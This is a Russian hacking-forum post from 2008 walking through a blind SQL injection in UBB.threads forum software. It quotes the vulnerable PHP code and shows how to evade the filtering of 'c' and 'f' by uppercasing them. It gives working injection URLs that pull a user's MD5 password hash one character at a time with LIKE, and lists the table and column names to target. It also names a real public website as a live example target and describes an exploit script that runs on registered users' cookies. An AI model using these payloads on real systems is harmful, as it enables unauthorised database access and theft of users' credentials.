[Взлом] Обзор уязвимостей UBB.threads

Тема в разделе "Статьи и Co", создана пользователем Pftriot, 19 сен 2008.

Статус темы:
Закрыта.
  1. Pftriot

    Pftriot

    Регистр.:
    22 ноя 2007
    Сообщения:
    278
    Симпатии:
    226
    Уязвимость: Слепая SQL инъекция

    Уязвимый продукт: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
    Дата публикации уязвимости на секлабе: 09 сентября, 2008

    Описание на секлабе:http://www.securitylab.ru/vulnerability/359080.php
    Более подробное, но достаточно ущербное и кривое описание:http://www.gulftech.org/?node=resea...=00130-09082008
    Прочли описание? Много поняли? НЕТ? С чего бы это... а ещё ведь удвиляетесь почему многие копипасты оцениваются минусами

    Разобрался что к чему и сделал нормальное описание:

    Требования для успешной эксплуатации уязвимости:

    1. Версия форума: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
    2. На форуме должна быть создана хотя бы одна тема
    3. У вас должен быть аккаунт (т.к. опция поиска доступна только для зарегистрированных пользователей)
    4. Версия mysql >= 4.1 (т.к. только с этой версии появились подзапросы)
    5. Нужно знать префикс таблиц.
    6. Предположительно! мейджик_квотс = офф

    Описание уязвимости (мои заметки:(

    SQL инъекция, пусть и слепая - звучит скучно и заезженно, но не в этом случае.
    Данные передаваемые в параметр Forum[] не фильтруются, но обрабатываются далеко не самым лучшим для нас образом:

    1. Проблема в том что использовать запятые в запросе нельзя:

    PHP:
    if (preg_match("/^f/",$Forum[$i])) {
    $bnum str_replace("f","",$Forum[$i]);
    $boardin .= "'$bnum',";

    $boardin preg_replace("/,$/","",$boardin);

    if (
    $boardin) {
    $boardin "FORUM_ID IN ($boardin)";
    }  
    Но тем не менее получить этот символ мы можем (хотя он нам и не нужен). Дело в том что передавать данные параметру (массиву) Forum[] можно несколькими строками.
    И эти строки будут объеденяться, но их объеденение так же проблемно:

    т.к. к каждой строке добавляется кавычка (как в начало, так и в конец, т.е. строка обрамляется в кавычки), и сами строки при этом разделяются запятыми.

    т.е. отправляя: Forum[]=f1&Forum[]=f222, получаем:

    '1','222'

    Самым простым запросом будет:

    Forum[]=f1')) AND 1=1/*

    Что бы получать данные из подзапросов пришлось отойти от использования стандартной конструкции с использованием функции substring().
    И использовть для подбора данных поиск с помощью опратора LIKE:
    Код:
    Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '0%')=1/*'))
    Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '1%')=1/*'))
    Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '12%')=1/*'))
    Т.е. мы фактически подбираем ХЕШ пользователя с помощью оператора LIKE.

    Способ это не самый рациональный, но в данном случае он рабочий, а это главное (способ с использованием функции substring() к сожалению получался ограниченным на вывод только числовых данных из-за специфичности моей конструкции, но другой я придумать не смог).

    Всего нужно запросов для получения ХЕША: 32*16=512 - не так и много, хотя и не мало.

    2. Ещё одна проблема, которая по началу сильно мне насолила, это вырезание символов "c", "f":
    PHP:
    if (preg_match("/^c/",$Forum[$i])) {
    $cnum str_replace("c","",$Forum[$i]);
    $catin .= "'$cnum',";
    }
    if (
    preg_match("/^f/",$Forum[$i])) {
    $bnum str_replace("f","",$Forum[$i]);
    $boardin .= "'$bnum',";  
    Ничего в этом проблемного нет, т.к. обходится переводом символов в верхний регистр: "C", "F".
    Но из-за отсутствия нормальный исходников (двиг платный, нуленных версий не много, а то что у меня было, было далеко не самым свежим) по началу принесло не мало гемора.

    Эксплуатация уязвимости (мои заметки:(

    Т.к. раскручивал инъекцию я как слепую, а там, вроде, только так и можно, то нам понадобиться как то определять правильность выполнения запроса.
    Делать мы это будет по нахождению результата при поиске слова (т.е. если в результате поиска что то находится, то запрос выполнен верно).
    Для этого нам потребуется слово которое будет находиться в определённом форуме, делается это так:

    1) Регимся на форуме (кстати там обычно активация по мылу нужна, так что регим левые ящики и вперёд).

    2) Заходим к списку форумов, смотрим линк на какой либо форум, выглядеть это будет примерно так:

    ubb=postlist&Board=58&page=1

    В данном случае номер заданного форума (называть это разделом не совсем верно, т.к. раздел это нечто другое) = 58.

    3) Заходим в выбранный форум и смотрим название какой либо темы, к примеру "Master spreadsheet..."

    Берём какое либо слово из названия темы и пробуем его найти в указанном форуме (выбрать форум для поиска можно указав его название - в опциях поиска вы этой найдёте без труда).
    Бац... и что то там нашлось - вот и отлично.

    4)

    Теперь пробуем, к примеру, через GET, такой запрос:
    Код:
    ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
    где: ubb=dosearch&fromsearch=1&checkwords=1 - необходимые параметры - их менять не нужно, Words=master слово, которое должно, обязательно, находиться и
    f58'))+and+1%3D1/* 58 - НОМЕР ФОРУМА, '))+and+1%3D1/* наш запрос ( and 1=1/*).

    Т.к. заданное условие, обязательно, выполнится, то если форум уязвим вы увидим что искомое слово нашлось, как и было раньше.

    Теперь пробуем так:
    Код:
    ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
    Т.к. заданное условие ( and 1=2/*) не выполнимо, то искомое слово не должно найтись!

    Судить о том уязвим форум или нет, можно и нужно только если в первом случае мы видим результат, а во втором нет (т.е. нужны две проверки - на правильность и не правильность выполнения условия).

    Вот на примере конкретного сайта:

    * Не забудьте зарегестрироваться - опция поиска доступна только зарегистрированным пользователям.

    Слово найдено:
    Код:
    http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
    Слово не найдено:
    Код:
    http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
    Так ну вот собственно и всё - как выдирать данные посимвольно я показал выше, не забудьте про филтрацию символов "c", "f" - они фигурируют во многих операторах.
    Вот только сказать "вперёд и с песней" я не могу, т.к. руками это эксплуатировать - не реал.

    Написал простенький и в некоторой степени кривой сплоент - выдирает он только ХЕШ пользователя с указанным номером.

    Как пользоваться моим сплоентом:

    1. Регимся на форуме, смотрим свои куки - они пригодятся, т.к. сплоент без них работать не будет.
    2. Вписываем данные в сплоент (если вы читали всё что написано выше, то понять что туда вписывать труда не составит + там все что нужно про комментированно).
    3. Заливаем куда нидь сплоент и запускаем (т.к. написан он на скорую руку, то немного кривоват, что в свою очередь отражается на скорости его работы (минут 20)).
    4. Получаем ХЕШ указанного пользователя.

    Учтите одного ХЕША будет мало, т.к. отображаемое имя и используемое как логин - могут быть разными.
    Переписать сплоент под себя, исправив этот недостаток не так и сложно для того кто разбирается в том что у чему, остальные... халявщики, а это не тру (своего рода это зашита от дурака), в противном случае расчитывайте на совпадение отображаемого имени и логина.

    Дополнительная информация:

    Алгоритм хеширования: md5()
    Префикс по дефолту: ubbt_
    Таблица с пользователями: prefix_USERS
    Колонки в таблице пользователей: USER_ID, USER_LOGIN_NAME, USER_PASSWORD, USER_MEMBERSHIP_LEVEL (остальные не пригодятся)
    Копирайт:http://forum.antichat.ru/showpost.php?p=866543&postcount=2
     
Статус темы:
Закрыта.